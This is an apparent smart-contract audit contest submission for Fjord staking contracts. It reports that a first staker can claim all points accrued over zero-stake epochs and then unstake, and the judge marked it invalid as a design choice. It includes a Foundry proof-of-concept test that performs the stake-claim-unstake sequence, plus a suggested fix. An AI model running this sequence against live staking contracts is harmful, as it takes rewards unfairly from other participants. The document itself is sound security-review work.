DeFiFoundry
20,000 USDC
View results
Submission Details
Severity: high
Invalid

Attacker Can Claim All Points for Epoch Then Unstake Their Staked Amount

Summary

When the total staked amount == zero.
A user can stake any amount of tokens then immediately claim all the points that were accumulated during consecutive epochs where the total staked amount was zero.
Then, they can unstake in the FjordStaking contract since it is still the same epoch.
Here is the code

Vulnerability Details

PoC

Add the following functions to IFjordPoints.sol to make it a more complete interface.

pragma solidity =0.8.21;
interface IFjordPoints {
function onStaked(address user, uint256 amount) external;
function onUnstaked(address user, uint256 amount) external;
//added for audit
function claimPoints() external;
function setStakingContract(address) external;
function lastDistribution() external returns (uint256);
function pointsPerEpoch() external returns (uint256);
//-----------------------
}

Also, to prevent compiler errors add the following to the FjordPointsMock.sol

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity =0.8.21;
import { IFjordPoints } from "src/interfaces/IFjordPoints.sol";
contract FjordPointsMock is IFjordPoints {
function onStaked(address user, uint256 amount) external pure {
user;
amount;
}
function onUnstaked(address user, uint256 amount) external pure {
user;
amount;
}
//Added audit
function claimPoints() external { }
function setStakingContract(address placeHolder) external { }
function lastDistribution() external returns (uint256) { }
function pointsPerEpoch() external returns (uint256) { }
//------------
}

Paste the following import and test into stake.t.sol

import { console } from "forge-std/Test.sol";
import { IFjordPoints } from "src/interfaces/IFjordPoints.sol";
function test_StakeThenClaimAllPointsForEpoch() public {
//SETUP:
address user = makeAddr("user");
// setting the FjordStaking address in the FjordPoints contract
IFjordPoints(points).setStakingContract(address(fjordStaking));
uint256 pointsPerEpoch = IFjordPoints(points).pointsPerEpoch();
skip(7 days);
// START:
vm.startPrank(user);
deal(address(token), user, 1 wei);
token.approve(address(fjordStaking), 1 wei);
uint256 stakedAmount = 1 wei;
// We are staking 1 wei, the amount does not matter since we will claim all points and unstake the FjordTokens
fjordStaking.stake(stakedAmount);
assertEq(token.balanceOf(address(fjordStaking)), stakedAmount);
(bool success, bytes memory data) =
points.call(abi.encodeWithSignature("balanceOf(address)", address(user))); // Doing this because the interfaces are not correct/containing all functions
require(success, "Call Failed in Test");
uint256 userStartPointsBalance = uint256(bytes32(data));
console.log("The users starting point balance is: ", userStartPointsBalance);
// The user should have a balance of zero point tokens
assertEq(userStartPointsBalance, 0);
IFjordPoints(points).claimPoints();
(bool success2, bytes memory data2) =
points.call(abi.encodeWithSignature("balanceOf(address)", address(user))); // Doing this because the interfaces are not correct/containing all functions
require(success2, "Call Failed in Test");
uint256 userEndPointsBalance = uint256(bytes32(data2));
console.log("The users userEndPointsBalance is: ", userEndPointsBalance);
assertGt(userEndPointsBalance, userStartPointsBalance);
assertEq(userEndPointsBalance, pointsPerEpoch);
//Lastly unstake the FjordTokens
uint256 amountUnstaked = fjordStaking.unstake(2, stakedAmount);
assertEq(amountUnstaked, stakedAmount);
}

Impact

Staking system will be unfair. If an epoch ends with the amount staked == 0. The first person to stake will receive all the points for the whole epoch. If there are consecutive epochs with amount staked == 0 then the first person to stake will receive all the points for the all the epochs where the amount was zero.

Tools Used

Foundry and manual review

Recommendations

Make the following changes here

if (totalStaked == 0) {
uint256 weeksPending = (block.timestamp - lastDistribution) / EPOCH_DURATION;
lastDistribution = lastDistribution + (weeksPending * 1 weeks);
return;
}

This will prevent points from accumulating while there is nothing staked in the contract. They will only accumulate while there are tokens staked in the contract.

Updates

Lead Judging Commences

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.